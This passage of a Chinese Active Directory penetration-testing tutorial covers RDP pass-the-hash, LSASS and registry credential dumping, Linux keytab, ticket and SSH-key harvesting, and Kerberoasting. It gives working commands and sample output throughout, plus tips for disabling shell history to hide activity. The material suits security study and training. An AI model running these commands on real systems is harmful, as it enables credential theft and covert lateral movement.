与 RPC / SMB 和 Powershell Remoting 不同，RDP 将用户明文密码传送到目标计算机，以便缓存凭证并方便 SSO（Single
Sign On），就像用户在其物理机器上登录一样。因此，要使用 RDP，你必须使用用户密码，而且默认情况下不可能执行 Pass-The-Hash……
正如我们所提到的，当通过 RDP 连接时（凭证被缓存在目标机中），容易被 mimikatz 之类的工具从 lsass
进程中窃取。缓存凭证是为了在目标机的网络连接中重复使用，但有时这是不必要的，所以微软在 Windows 8.1 / 2012 R2 为 RDP
引入了[受限管理模式](https://docs.microsoft.com/en-us/archive/blogs/kfalde/restricted-admin-mode-for-rdp-in-windows-8-1-2012-r2)。当受限管理模式启用时，你不会发送普通凭证，所以有可能执行 Pass-The-Hash/Key/Ticket 来建立一个RDP连接。
在 Linux 中，你可以使用 freerdp 来执行 [RDP 的 Pass-The-Hash](https://www.kali.org/blog/passing-hash-remote-desktop/)（你需要安装
`freerdp2-x11`、 `freerdp2-shadow-x11` 软件包，而不是文章所说的 `freerdp-x11`）。你只需要提供 NT
哈希值而不是密码。
> Pass-The-Hash with freerdp
xfreerdp /u:[email protected] /pth:cdeae556dc28c24b5b7b14e9df5b6e21 /v:192.168.122.143
在 Windows 中，你可以用 mimikatz 或 Rubeus 注入一个 NT 哈希或 Kerberos 票据，然后用 `mstsc.exe
/restrictedadmin` 建立 RDP 连接，而不需要用户密码。<https://shellz.club/pass-the-hash-with-rdp-in-2019/>
> Restricted Admin is not enabled
> Restricted Admin is enabled
### **Windows 计算机凭据**
**LSASS 凭据**
在 Windows 机器中，一个常见找凭据的地方是 LSASS（Local Security Authority Subsystem
Service）进程（lsass.exe）。LSASS 进程负责管理计算机的安全相关操作，包括用户认证。
当用户通过物理访问计算机或通过 [RDP](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn579255\(v=ws.11)?redirectedfrom=MSDN#remote-desktop-users) 在计算机上执行[交互式登录](https://docs.microsoft.com/en-us/windows-server/security/windows-authentication/windows-logon-scenarios#BKMK_InteractiveLogon)时，用户的凭证会被缓存在 LSASS 进程中，以便在需要网络登录时使用 SSO（Single
Sign-On）来访问其他域计算机。
> 请注意，通过 NTLM 或 Kerberos 认证的用户不会缓存凭据到计算机中（除非启用了 Kerberos 委派）。
凭据由 LSASS 使用的一些 SSPs（Security Support Providers）进行缓存，以提供不同的认证方法。下面是一些 SSPs：
* Kerberos SSP： 管理 Kerberos 认证，负责存储当前登录用户的票据和 Kerberos 密钥。
* NTLM SSP or MSV SSP：管理 NTLM 认证，负责存储当前登录用户的票据和 NTLM 哈希。
* Digest SSP：实现了用于 HTTP 应用的 Digest Access protocol。为了计算哈希，这个 SSP 存了用户的明文密码。即使从 Windows 2008 R2 开始，密码缓存在默认情况下被禁用，仍然可以通过设置注册表来启用密码缓存。将 `HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential` 设为 1，或者直接用 mimikatz 在内存中进行 [patch](https://blog.xpnsec.com/exploring-mimikatz-part-1/)。
因此，如果我们能够访问 LSASS 进程的内存，由于 lsass 是系统进程， **需要 SeDebugPrivilege**
（通常由管理员持有），我们可以获得缓存的凭证。正如我们所看到的，这些缓存的凭证包括用户的 NT 哈希、Kerberos
密钥和票据，甚至在一些旧的或配置错误的机器上的明文的用户密码。
从 LSASS 进程中提取凭证的常用方法是使用
[mimikatz](https://github.com/gentilkiwi/mimikatz)。我们可以在目标机上直接启动
mimikatz，或者用一些工具如 [procdump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump)、[comsvcs.dll](https://lolbas-project.github.io/lolbas/Libraries/Comsvcs/) 或
[werfault.exe](https://www.deepinstinct.com/2021/02/16/lsass-memory-dumps-are-stealthier-than-ever-before-part-2/)
[转储LSASS内存](https://www.deepinstinct.com/2021/01/24/lsass-memory-dumps-are-stealthier-than-ever-before/)，然后用 mimikatz 或
[pypikatz](https://github.com/skelsec/pypykatz) 处理转储的这些内存。也可以用
[lsassy](https://github.com/Hackndo/lsassy) 远程读取转储，避免下载整个内存转储，这可能需要几兆。
要用 mimikatz 提取凭证，有几个命令你应该知道。它们会从登录的用户那里重试不同的秘密：
* `sekurlsa::logonpasswords`：提取 NT 哈希和密码。
* `sekurlsa::ekeys`：获取 Kerberos keys。
* `sekurlsa::tickets`：获取存在这个机器上的 Kerberos tickets。
强调一下，为了访问 LSASS 进程的内存，你需要
[SeDebugPrivilege](https://devblogs.microsoft.com/oldnewthing/20080314-00/?p=23113)，它允许用户对其他用户的进程进行调试。通常只有管理员才有这个权限（但如果其他用户得到这个权限，她也可以成为管理员）。
此外，在试图转储 LSASS 内存的进程中，SeDebugPrivilege 必须是开启。默认情况下，在 Powershell 中启用，在 CMD
中禁用（因此在它们的子进程中）。如果你正在启动 mimikatz，你可以通过使用 `privilege::debug` 命令启用它。在其他情况下，你可以用
Powershell 启动进程，使用 `powershell.exe <command>`，或者使用一些工具如
[sepriv](https://github.com/Zer1t0/sepriv) 在 CMD 中启用它。
> Dump credentials with mimikatz
C:\>.\mimikatz.exe
.#####. mimikatz 2.2.0 (x64) #19041 Sep 18 2020 19:18:29
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( [email protected] )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz # sekurlsa::logonpasswords
ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::logonpasswords
Authentication Id : 0 ; 629376 (00000000:00099a80)
Session : Interactive from 1
User Name : Administrator
Domain : CONTOSO
Logon Server : DC01
Logon Time : 03/05/2021 12:34:17
SID : S-1-5-21-1372086773-2238746523-2939299801-500
msv :
[00000003] Primary
* Username : Administrator
* Domain : CONTOSO
* NTLM : b73fdfe10e87b4ca5c0d957f81de6863
* SHA1 : 88cbc713492c32909ee5deddee08c7e31c70d716
* DPAPI : 0c1e1d360ebc8f790ff9577fcdb60d75
tspkg :
wdigest :
* Username : Administrator
* Domain : CONTOSO
* Password : (null)
kerberos :
* Username : Administrator
* Domain : CONTOSO.LOCAL
* Password : (null)
ssp :
credman :
cloudap :
尽管如此，LSASS 可以防止凭证被提取。这可以通过 [Credential Guard](https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard-how-it-works) 来实现，它使用 hypervisor 技术将凭证存储在操作系统之外的一个更安全的地方。然而，Credential Guard
是可以被[绕过](https://teamhydra.blog/2020/08/25/bypassing-credential-guard/)的。此外，lsass.exe 可以被配置为 PPL（Protected Process
Light）运行。即使这使得凭证提取更加困难，它还是可以被[禁用](https://www.redcursor.com.au/blog/bypassing-lsa-protection-aka-protected-process-light-without-mimikatz-on-windows-10)。
**注册表（Registry）凭据**
**LSA secrets**
在注册表中，计算机存储了一些正常工作所需的凭证。其中一个存储敏感凭证的地方是 [LSA
secrets](https://passcape.com/index.php?section=docsys&cmd=details&id=23)。
> LSA is designed for managing a system’s local security policy, auditing,
> authenticating, logging users on to the system, storing private data.
LSA secrets 是位于注册表中的一个特殊存储空间，用于保存只有 `SYSTEM` 本地账户才能访问的敏感数据。在磁盘中，LSA secrets
被保存在 SECURITY [hive](https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-hives) 文件中，该文件是用 BootKey/SysKey（存储在 SYSTEM
hive 文件中）加密的。
> LSA Secrets keys
PS C:\> whoami
nt authority\system
PS C:\> reg query HKLM\SECURITY\Policy\Secrets
HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets
(Default) REG_NONE
HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\$MACHINE.ACC
HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\DefaultPassword
HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\DPAPI_SYSTEM
HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\NL$KM
HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\_SC_mysql
在 LSA secrets 中，你可以找到：
* Domain Computer Account为了作为域的一部分来工作，计算机需要一个域中的用户账户。因此，这个计算机账户的用户名和密码需要对操作系统可用，所以它们被存储在 LSA secrets 中。另外，你必须知道，该计算机的密码是[默认每30天改变一次](https://adsecurity.org/?p=280)。这个计算机账户被 `SYSTEM` 本地账户用来与域交互，但不在本地，因此，这个账户在机器中没有管理权限。然而，即使这个计算机域账户没有管理权限，你也可以用它来创建一个银票或执行 RBCD 攻击，以管理员身份进入机器。
* Service users passwords为了代表一个用户运行服务，计算机需要存储其密码。然而，用户的密码并没有被存储，而是服务名称，所以你可能需要调查什么是用户名。
* Auto-logon password如果 windows [自动登录](https://keithga.wordpress.com/2013/12/19/sysinternals-autologon-and-securely-encrypting-passwords/)被启用，密码可以被保存在 LSA secrets 中。另一个选择是，保存在 `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon` 注册表的键 `DefaulUserName` 下。域名和用户名总是分别保存在 `DefaultDomainName` 和 `DefaultUserName` 中。
* DPAPI master keys[数据保护 API](https://docs.microsoft.com/en-us/dotnet/standard/security/how-to-use-data-protection)（DPAPI）用于允许用户对敏感的数据进行加密，而不需要担心加密密钥。如果你能够检索到主密钥，那么你就可以[解密用户数据](https://book.hacktricks.xyz/windows/windows-local-privilege-escalation/dpapi-extracting-passwords)。
此外，在 SECURITY hive 文件中，还存储了最后一个[登录机器的域用户](https://docs.microsoft.com/en-us/troubleshoot/windows-server/user-profiles-and-logon/cached-domain-logon-information)的凭证，称为域缓存凭证（DCC）。因此，即使与域控制器的连接丢失，计算机也能对域用户进行认证。这种缓存凭证是
MSCACHEV2/MSCASH 哈希值，与 NT 哈希值不同，所以它们不能被用来执行 Pass-The-Hash，但你仍然可以尝试[破解它们](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-and-cracking-mscash-cached-domain-credentials)，以得到用户密码。
**SAM**
而另一个有凭证的地方是 [SAM](https://en.wikipedia.org/wiki/Security_Account_Manager) hive
文件，它包含计算机本地用户的 NT 哈希值。这可能很有用，因为有时组织会在域内计算机中设置相同的本地管理员密码。
**Dumping 注册表凭据**
为了从 SECURITY 和 SAM hives 中获得凭证，你可以通过使用 mimikatz 从内存中读取它们。
首先你需要执行 `token::elevate` 来获得一个 `SYSTEM` 会话，以允许你读取凭证。如果需要的话，还要执行
`privilege::debug`，以启用 SeDebugPrivilege 特权。然后，你可以执行以下命令，得到不同的凭证：
* `lsadump::secrets`: Get the LSA secrets.
* `lsadump::cache`: Retrieve the cached domain logons.
* `lsadump::sam`: Fetch the local account credentials.
另一种方法是用 [reg save](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/reg-save) 命令保存 hives
文件的副本，将它们移到我们的机器上，最后用 [impacket
secretsdump](https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py)
脚本或 mimikatz 获取内容。
首先，你需要 dump 注册表 hive。你将需要 SECURITY 和 SAM hives 文件以及 SYSTEM hive，因为它包含 Boot
Key（或 System Key），允许解密 SECURITY 和 SAM hives。
> reg command to save registry hives
C:\>reg save HKLM\SYSTEM system.bin
The operation completed successfully.
C:\>reg save HKLM\SECURITY security.bin
The operation completed successfully.
C:\>reg save HKLM\SAM sam.bin
The operation completed successfully.
当 hives 被保存，然后将其移到你的本地机器上，用 secretsdump 转储它们。
> Secretsdump usage to dump
$ secretsdump.py -system system.bin -security security.bin -sam sam.bin LOCAL
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation
[*] Target system bootKey: 0xb471eae0e93128b9c8d5780c19ac9f1d
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:6535b87abdb112a8fc3bf92528ac01f6:::
user:1001:aad3b435b51404eeaad3b435b51404ee:57d583aa46d571502aad4bb7aea09c70:::
[*] Dumping cached domain logon information (domain/username:hash)
CONTOSO.LOCAL/anakin:$DCC2$10240#anakin#2933cad9235d2f502d7bedc2016e6553
CONTOSO.LOCAL/han:$DCC2$10240#han#4a52a6d0d7f3590c68124f4d5f7ef285
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
$MACHINE.ACC:plain_password_hex:59aa6b91e74a0a6fc40efee9f2fb07936a9d69f46397dee82d3ec6ca4d0c01a0293d79e5c040bf564b7938d6c25597816921ec614ad25933af6a2482a8ace4d1dd54dd4bb465384b30046d85f65083e885455ec5f01dcae30df619e3f944eaa008a09e0f7432981f7cdb8dea34e432f00ed92e1ae3e48111326deb2d0f9a6e7d868e24c840b8814d338a4165f90381a4a6b824addb4f71c5908cac4423a4efbc5a4d846c09245930b526a6bec8c678ca838a005dcf5014f8b18426c3e0dbd3921f82c57e6ca025d0258d4536a9e0b68b90ff26c054c992c84d11e95f78c55ca411ee0e5b412cb4fc0f08c28ca2d79996
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:b13dae64def5f205f382a0ab4174eb85
[*] DefaultPassword
(Unknown User):user
[*] DPAPI_SYSTEM
dpapi_machinekey:0x6880eb76862df7875705885938102c696717eb18
dpapi_userkey:0x828326418633117212de44bcda10806fc6765d4a
[*] NL$KM
0000 0B BC 2E DB A1 A7 E2 42 56 6D B8 4B 5A 37 79 A4 .......BVm.KZ7y.
0010 53 51 75 6D 64 7F 9A BF DC BF C2 83 F4 64 02 A6 SQumd........d..
0020 5E E8 53 AB E5 4B 35 A4 5B 19 7E 97 E0 CA 32 6C ^.S..K5.[.~...2l
0030 77 68 E8 F1 C0 54 AD 7B 03 F7 BE 59 2E 59 C3 93 wh...T.{...Y.Y..
NL$KM:0bbc2edba1a7e242566db84b5a3779a45351756d647f9abfdcbfc283f46402a65ee853abe54b35a45b197e97e0ca326c7768e8f1c054ad7b03f7be592e59c393
[*] _SC_mysql
(Unknown User):Solo1234!
[*] Cleaning up...
上面的 `Dumping cached domain logon information` 部分包含了域缓存凭证，Domain Cached
Credentials。为了[破解它们](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-and-cracking-mscash-cached-domain-credentials)，需要以 `$DCC2$10240#username#hash` 形式进行保存，然后利用 hashcat。
`$MACHINE.ACC` 部分包含计算机账户密码（用十六进制编码），以及 NT 哈希值。
`DefaultPassword` 部分包含自动登录密码。为了获得域名和用户名，你需要检查注册表键
`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`
的`DefaultDomainName` 和 `DefaultUserName` 值。
`DPAPI_SYSTEM`
部分包含系统的主DPAPI密钥，这些密钥允许[解密用户文件](https://book.hacktricks.xyz/windows/windows-local-privilege-escalation/dpapi-extracting-passwords)。
`NK$LM` 给我们提供了[用于加密域名缓存凭证的密钥](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/dumping-lsa-secrets-on-nt5-x64/)，但由于
secretsdump 已经解密了它们，所以只能作为信息参考。
最后，格式为`_SC_<service>`的条目是表示运行服务的用户的密码。在这个例子中，是 `mysql`
服务。不知道服务用户的用户名，但我们可以在计算机中查看。
> Show user account that runs the mysql service
>
>
> PS C:\> Get-WmiObject win32_service -Filter "name='mysql'" | select
> -ExpandProperty startname
> CONTOSO\han
>
**Powershell history**
除了 LSASS 进程和注册表，你还可以在其他地方搜索凭证，比如用户的 Powershell 历史。你可以使用以下命令来定位和读取 Powershell
历史。
> Get the Powershell history path of the current users.
(Get-PSReadlineOption).HistorySavePath
> Check the Powershell history of all users
Get-ChildItem C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
另外，作为一个提示，你可能想使用以下命令来避免在 Powershell 历史中存储你自己的命令。
> Disabling Powershell history
Set-PSReadlineOption -HistorySaveStyle SaveNothing
**其他有凭据的地方**
此外，你也可以在计算机中的脚本或配置文件中搜索凭证。也有很多软件，如浏览器存储了凭证，在渗透中可能是有用的，你可以看看 [LaZagne
项目](https://github.com/AlessandroZ/LaZagne)。
另外，在渗透测试或红队行动中，你也可以使用其他技术来获得凭证，如设置[键盘记录器](https://www.tarlogic.com/en/blog/how-to-create-keylogger-in-powershell/)或伪造 [SSP
模块](https://adsecurity.org/?p=1760)。
## Linux 计算机
### Linux 计算机发现
为了发现域中的 Linux 计算机，你也可以通过使用 LDAP（如果你有域凭据的话），像对 Windows 计算机那样查询域数据库。
在其他情况下，可能会有点困难，因为 Linux 计算机默认没有打开任何特征端口，然而许多 Linux 机器被用作远程管理的服务器。为了管理 Linux
计算机，通常使用 SSH 协议。SSH 服务的监听端口是 22，所以你可以在网络中对这个端口进行扫描，以识别 Linux 机器。
### 连接 Linux 计算机
为了连接到一台 Linux 机器以获得它的 shell，最常见的选择是使用 SSH。有时你甚至可以使用 Powershell
Remoting，因为它可以通过 SSH 工作。
> SSH connection to a Linux machine
$ ssh root@debian10
[email protected]'s password:
Linux debian10 4.19.0-14-amd64 #1 SMP Debian 4.19.171-2 (2021-01-30) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri May 7 12:55:20 2021 from 192.168.100.137
root@debian10:~#
除了使用用户名和密码外，还可以使用 SSH 私钥来连接（可以从其他机器上获取）。
> Connecting to another machine with an SSH key.
$ ssh -i id_ed25519_foo_key [email protected]
最后，如果目标 Linux 计算机是域的一部分，你可能能够[使用 Kerberos 认证
SSH](https://www.n00py.io/2020/12/alternative-ways-to-pass-the-hash-pth/)。你可以通过启用 GSSAPI 认证（`-o GSSAPIAuthentication=yes`）来指定 SSH 客户端使用 Kerberos
认证。你可以通过偷取票据（Pass-The-Ticket），或者通过用 NT 哈希（Overpass-The-Hash）或 Kerberos
密钥（Pass-The-Key）来请求票据。你可以使用
[Rubeus](https://github.com/GhostPack/Rubeus)、[cerbero](https://github.com/Zer1t0/cerbero)
或 [impacket](https://github.com/SecureAuthCorp/impacket) 来请求带有 NT 哈希值或
Kerberos 密钥的 Kerberos 票据。
此外，旧的 Linux 机器可能在端口 23 上启用了
[Telnet](https://en.wikipedia.org/wiki/Telnet)。你将需要一个用户名和密码来连接它。
### Linux 计算机凭据
不幸的是，对攻击者来说，Linux 没有带缓存凭证的 lsass 进程，但有很多让人感兴趣的地方可以看看……
**Linux Kerberos 票据**
为了对用户进行认证，Linux 机器通常有一个 Kerberos 客户端，它被配置为域计算机账户。你可以在 keytab 中找到凭据，通常在
`/etc/krb5.keytab` 中找到，或者在环境变量 `KRB5_KTNAME` 或 `KRB5_CLIENT_KTNAME` 中指定的值，或者在
`/etc/krb5.conf` 的 [Kerberos
配置文件](https://web.mit.edu/kerberos/krb5-1.12/doc/admin/conf_files/krb5_conf.html)
中指定。你可以用 `klist` 命令或 [cerbero](https://github.com/Zer1t0/cerbero) 来显示其内容，包括密钥。
> Displaying the accounts in the default keytab
$ klist -k -Ke
Keytab name: FILE:/etc/krb5.keytab
KVNO Principal
---- -------------------------------------------------------------------------- 1 [email protected] (DEPRECATED:arcfour-hmac) (0xc49a77fafad6d3a9270a8568fa453003)
在这种情况下，有一个配置了 NT 哈希值的账户（在 Kerberos 的 RC4-HMAC 算法中使用）。你可以使用存储的这个 key
来[申请Kerberos ticket](https://www.tarlogic.com/en/blog/how-to-attack-kerberos/)，并冒充该用户。
此外，当一个域用户在机器中被认证时，会得到到一个 Kerberos 票据。你可以利用这些票据来冒充域内的用户。通常你可以在 `/tmp`
目录下找到票据，其格式为 `krb5cc_%{uid}`，其中 uid是 [user UID](https://linuxhandbook.com/uid-linux/)。然而，也有可能 ticket 是存储在 [Linux kernel keys](https://man7.org/linux/man-pages/man7/keyrings.7.html) 中，而不是文件中，但你可以通过使用
[tickey](https://github.com/TarlogicSecurity/tickey)
抓住它们并转换为文件。一旦你有了票据文件，你就可以用它们来执行 Pass the ticket 攻击。
> Tickets in Linux
$ ls /tmp/ | grep krb5cc
krb5cc_1000
krb5cc_1569901113
krb5cc_1569901115
为了确定 Linux 机器中 [Ticket
的存储位置](https://web.mit.edu/kerberos/krb5-1.12/doc/basic/ccache_def.html)，你可以检查
`/etc/krb5.conf` 中的 [Kerberos
配置文件](https://web.mit.edu/kerberos/krb5-1.12/doc/admin/conf_files/krb5_conf.html)。
**Linux user files**
除此以外，你可以得到存储在 `/etc/shadow` 文件中的凭证，该文件包含了本地用户的密码。然后可以尝试通过 [hashcat
破解它们](https://techglimpse.com/cracking-linux-password-hashes-with-hashcat/)。有时密码会在不同的机器上重复使用。然而，你不能进行 Pass-The-Hash 攻击，因为对 Linux 机器进行远程认证，例如使用
SSH，你需要密码。
**SSH keys**
另一种可能的方法是搜索 SSH 私钥，通常存储在用户目录的 `.ssh` 目录下。该文件的名称通常为`id_rsa` 或 `id_ed25519`。
> Private key identification
$ file .ssh/id_ed25519
.ssh/id_ed25519: OpenSSH private key
如果私钥的使用不需要密码，那么你就可以用它来连接到域中的另一台机器。
> Connecting to another machine with the SSH key.
$ ssh -i id_ed25519_foo_key [email protected]
此外，如果你能在 `.ssh` 目录下找到 `known_hosts` 文件，并且你很幸运，它可能会显示 ssh
连接过的机器的主机名，这些机器都是使用私钥的。然而，这个文件可能包含了名字的哈希，但你可以[用hashcat破解它们](https://github.com/chris408/known_hosts-hashcat)。你可以查询域中机器的主机名，来创建一个主机名的字典。
**Bash history**
此外，你可以在机器用户的命令历史中找到更多关于 ssh 连接和其他诸如凭据的信息，通常位于用户目录的 `.bash_history` 文件中。
顺便说一下，如果你想避免让你的命令记录在历史中，你可以取消设置 `HISTFILE` 环境变量或使用[类似](https://www.if-not-true-then-false.com/2010/quit-bash-shell-without-saving-bash-history/)
[方法](https://www.cyberciti.biz/faq/disable-bash-shell-history-linux/)。
> Disable bash history
unset HISTFILE
**其他地方寻找凭据**
同样，你可能会在软件的配置文件或机器上的脚本中找到连接到不同服务（如数据库）和机器的密钥。
此外，你可以查看 [LaZagne](https://github.com/AlessandroZ/LaZagne) 项目，了解更多可能被盗取凭证的软件。
## 服务（Services）
在一个域中，许多机器被用来向用户提供服务，所以活动目录很有必要对这些服务进行追踪，以便让用户找到并对其进行认证。
活动目录服务可能很棘手，因为它与计算机服务不一样。在 Windows 或 Linux
机器上的服务可以被理解为一个持续执行任务的后台进程，例如一个数据库。然而，计算机服务不一定要监听端口，例如，检查系统可用更新的服务。
另一方面，活动目录服务是一个标识符，表明在一台机器上有哪些远程服务或可以使用（在一个端口上监听）。并非所有的远程服务都在域数据库中注册，不过，对于那些需要通过
Kerberos 验证域用户的服务是必须注册的。
活动目录中的每个注册服务都提供了以下信息：
* 运行该计算机服务的 **用户** 。
* 服务[ **类型**](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc772815\(v=ws.10)#service-principal-names)，表明是什么类型的服务，例如，web 服务器注册为 www 类。
* 服务所在的 **机器** 。
* (可选）机器上的服务 **端口** 。
* (可选）服务的 **路径** 。
为了存储这些信息，每个服务都由一个[服务主体名称](https://en.hackndo.com/service-principal-name-spn/)（Service Principal Name，SPN）来识别，其格式如下。
service_class/machine_name[:port][/path]
machine_name 可以是 hostname 或
[FQDN](https://en.wikipedia.org/wiki/Fully_qualified_domain_name)（Full
Qualified Domain Name：主机名和域名的组合）。为了兼容 Kerberos，两种格式都存储是很正常的。比如：
> LDAP service SPNs
ldap/DC01
ldap/dc01.contoso.local
SPN 将被存储在一个用户（或计算机）对象中，这样就可以识别服务用户。
> services of ws01-10 computer
PS C:\> Get-ADComputer ws01-10 -Properties ServicePrincipalName | select -ExpandProperty ServicePrincipalName
TERMSRV/WS01-10
TERMSRV/ws01-10.contoso.local
RestrictedKrbHost/ws01-10.contoso.local
HOST/ws01-10.contoso.local
RestrictedKrbHost/WS01-10
HOST/WS01-10
要注意，即使服务目前没有被执行，它仍然可以在活动目录数据库中注册。这一点很重要，因为旧的服务可能导致使用
[Kerberoast](https://www.youtube.com/watch?v=PUyhlN-E5MU) 的账户被接管。
总结一下 Kerberoast，你可以为域中注册的任何服务申请一张 Kerberos 票据，该服务的 Kerberos
票据将有一部分用服务的用户秘密（可以是 NT 哈希值或 Kerberos
密钥）加密，该秘密来自于密码。然后你可以[保存票据并尝试破解它](https://www.tarlogic.com/en/blog/how-to-attack-kerberos/)以恢复用户密码。对于计算机服务来说，这是不可行的，因为密码太复杂了，但是对于用户服务来说，可以有一个弱的密码，这可能是可以实现的。
### Host service
此外，由于 Windows 系统默认情况下部署了大量的服务，在机器中默认注册了一个
[HOST](https://en.hackndo.com/service-principal-name-spn/#edge-case---host)
服务类，这个 `HOST` 类是几个服务的别名。
> Services classes identified by HOST
PS C:\Users\Administrator> Get-ADObject -Identity "CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,$((Get-ADDomain).DistinguishedName)" -properties sPNMappings
DistinguishedName : CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=contoso,DC=local
Name : Directory Service
ObjectClass : nTDSService
ObjectGUID : 70502b18-010f-4d33-bbb9-ff85a88c6156
sPNMappings : {host=alerter,appmgmt,cisvc,clipsrv,browser,dhcp,dnscache,replicator,eventlog,eventsystem,policyage
nt,oakley,dmserver,dns,mcsvc,fax,msiserver,ias,messenger,netlogon,netman,netdde,netddedsm,nmagent,p
lugplay,protectedstorage,rasman,rpclocator,rpc,rpcss,remoteaccess,rsvp,samss,scardsvr,scesrv,seclog
on,scm,dcom,cifs,spooler,snmp,schedule,tapisrv,trksvr,trkwks,ups,time,wins,www,http,w3svc,iisadmin,
msdtc}
## 数据库（Database）
我们一直在谈论域数据库和存储在其中的一些对象，如用户、组或服务。现在让我们看看关于数据库的更多细节。
首先，数据库的物理位置是 `C:\Windows\NTDS\ntds.dit` 文件，位于域控制器中。每个域控制器都有自己的 NTDS
文件，为了保持数据库的更新，域控制器之间需要进行同步。
### 类（Classes）
让我们来谈谈域数据库的结构。
活动目录数据库有一个[模式](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc773309\(v=ws.10))，定义了不同的[对象类](https://docs.microsoft.com/en-us/windows/win32/adschema/classes)。每个类都有不同的属性，以用于不同的目的。例如，有用户类、计算机类或组类。
此外，一个类可以是一个父类的子类，这样就可以继承属性。例如，计算机类是用户类的子类，因此计算机对象可以拥有与用户对象相同的属性，如
`SAMAccountName`，以及一些新的自定义属性，如 `OperatingSystem`。
**所有的类都是[Top](https://docs.microsoft.com/en-us/windows/win32/adschema/c-top)
类的子类**，它定义了像 `ObjectClass` 或 `ObjectGUID` 这样的基本属性。
* `ObjectClass` 属性包含一个对象的类的列表，也就是它的当前类和所有的父类。
* `ObjectGUID` 属性是一个 [GUID](https://en.wikipedia.org/wiki/Universally_unique_identifier)（全局唯一标识符，globally unique identifier），用于识别数据库的每个对象。不能与 `SID`（或 `SecurityIdentifier`）属性相混淆，后者是一个与安全原则有关的标识符，如用户或组。
同样重要的是，要注意类可以被附加到辅助类上，以便获得它的属性。这个辅助类不会出现在 `ObjectClass`
属性中。例如，在进行渗透测试时，许多最相关的类，如 User 和 Group，都附加在 [Security-Principal](https://docs.microsoft.com/en-us/windows/win32/adschema/c-securityprincipal) 辅助类上，该类定义了 `SAMAccountName` 和
`SID` 属性。
> Classes of computer object
PS C:\> . .\PowerView.ps1
PS C:\> Get-NetComputer dc01 -Properties objectclass | select -ExpandProperty objectclass
top
person
organizationalPerson
user
computer
### 属性（Properties）
正如我们所看到的，每个类都可以有几个属性或者特性。通常情况下，这些属性存储了一个字符串值，如 `name` ，或一个数字，如
`UserAccountControl`。
一般来说，域的任何用户都可以读取域的任何对象的信息，但有几个例外。第一个例外是用户的密码不能被读到。
数据库定义了 [UserPassword](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/f3adda9f-89e1-4340-a3f2-1f0a6249f1f8) 和
[UnicodePwd](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-ada3/71e64720-be27-463f-9cc5-117f4bc849e1)，但这些属性不能被读取，只能被写入。当需要[修改密码](https://docs.microsoft.com/en-US/troubleshoot/windows/win32/change-windows-active-directory-user-password)时，这些属性可以被写入，以便修改用户密码。
此外，有一些属性包含敏感数据，应该只由授权用户获取。为了实现这一点，这些属性在模式中被标记为[保密属性](https://docs.microsoft.com/en-us/troubleshoot/windows-server/windows-security/mark-attribute-as-confidential)（在属性定义的 [SearchFlags](https://docs.microsoft.com/en-us/windows/win32/adschema/a-searchflags) 中设置 128
标志）。因此，为了读取一个保密属性，除了读取权限外，用户还需要对该特定属性拥有 CONTROL_ACCESS 权限。
> Get confidential properties
PS C:\Users\Administrator> Get-ADObject -LDAPFilter "(searchflags:1.2.840.113556.1.4.803:=128)" -SearchBase "CN=Schema,CN=Configuration,DC=contoso,DC=local" | Select Name
Name
---- ms-TPM-Owner-Information-Temp
ms-Kds-KDF-AlgorithmID
ms-Kds-KDF-Param
ms-Kds-SecretAgreement-AlgorithmID
ms-Kds-SecretAgreement-Param
ms-Kds-PublicKey-Length
ms-Kds-PrivateKey-Length
ms-Kds-RootKeyData
ms-Kds-Version
ms-Kds-DomainID
ms-Kds-UseStartTime
ms-Kds-CreateTime
ms-FVE-RecoveryPassword
ms-FVE-KeyPackage
ms-TPM-OwnerInformation
ms-DS-Transformation-Rules-Compiled
ms-PKI-Credential-Roaming-Tokens
